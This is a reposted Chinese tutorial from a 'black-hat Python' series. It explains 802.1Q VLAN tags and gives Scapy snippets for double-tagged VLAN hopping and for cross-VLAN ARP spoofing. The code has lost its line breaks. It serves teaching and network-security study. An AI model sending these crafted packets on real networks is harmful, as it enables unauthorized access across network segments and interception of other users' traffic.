Python黑帽編程 3.4 跨越VLAN詳解,pythonvlan

來源:互聯網
上載者:User

Python黑帽編程 3.4 跨越VLAN詳解,pythonvlan

VLAN(Virtual Local Area Network),是基於乙太網路互動技術構建的虛擬網路,既可以將同一物理網路劃分成多個VALN,也可以跨越物理網路障礙,將不同子網中的使用者划到同一個VLAN中。圖2是一個VLAN劃分的例子。

圖2

實現VLAN的方式有很多種,基於交換裝置的VLAN劃分,一般有兩種:

l 基於交換器的連接埠劃分

l 基於IEEE 802.1q協議,擴充乙太網路框架格式

基於第二層的VLAN技術,有個Trunking的概念,Trunking是用來在不同的交換器之間進行串連,以保證在跨越多個交換器上建立的同一個VLAN的成員能夠相互連訊。其中交換器之間互聯用的連接埠就稱為Trunk連接埠。除了80.2.1q之外,思科有自己的Trunk協議叫ISL。

圖3

圖3是802.1q的資料包,和普通的乙太網路幀並沒有本質的區別,只是增加一個了VLAN Tag。紅色部分的VLAN Identifier標識了一個資料包屬於哪個VLAN,從而保證了資料廣播的範圍不會跨越VLAN。

現在做簡單的思考,想要跨越VLAN通訊,是不是只要修改資料包中的標識符就可以了呢?

3.4.1 VLAN Hopping

基於上面的分析,我們考慮一個簡單的情境:跨VLANping,從Vlan1的一個主機發送一個ping請求到Vlan2中的一個主機。

在具體編碼前,我們還是要先解決VLAN資料包構造的問題,在Scapy中我們使用Dot1Q類來構造圖3中的Tag部分。4。

圖4

下面我們可以編寫一個跨VLAN的ping請求了。

#!/usr/bin/python from scapy.all import * packet = Ether(dst="c0:d3:de:ad:be:ef") / \Dot1Q(vlan=1) / \Dot1Q(vlan=2) / \IP(dst="192.168.13.3") / \ICMP() sendp(packet)

上面的代碼我們指定了目標主機的MAC和IP地址,添加了兩個VLAN標識,第一個是發送資料的主機所在的VLAN,第二個是目標主機所在的VLAN。交換器會移除第一個標識,讀到第二個標識的時候,會轉寄該資料包到目標主機。

3.4.2 跨VLAN的ARP欺騙

3.1、3.2和3.3節我們都在討論ARP欺騙的問題,由於VLAN限制了廣播域,我們之前的代碼是無法跨VLAN進行ARP欺騙的。不過要解決這個問題也很簡單,只需在我們之前構造的ARP欺騙資料中插入VLAN標識即可。下面這段代碼是我們在3.1節構造ARP請求資料包的代碼。

def build_req():if options.target is None:pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])elif options.target:target_mac = getmacbyip(options.target)if target_mac is None:print "[-] Error: Could not resolve targets MAC address"sys.exit(1)pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)return pkt

在構造資料包的部分,我們插入VLAN標識:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

這樣就可以實現跨VLAN的ARP欺騙了。

3.4.3 小結

本節主要講了如何構造欺騙VLAN的資料包,達到跨VLAN資料通訊和ARP欺騙的目的。需要注意的是,本文的方法主要針對802.1Q協議,對以連接埠進行物理隔離的的VLAN沒有效果。

以上所述是小編給大家介紹的Python黑帽編程 3.4 跨越VLAN詳解,希望對大家有所協助,如果大家有任何疑問請給我留言,小編會及時回複大家的。在此也非常感謝大家對幫客之家網站的支援!

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.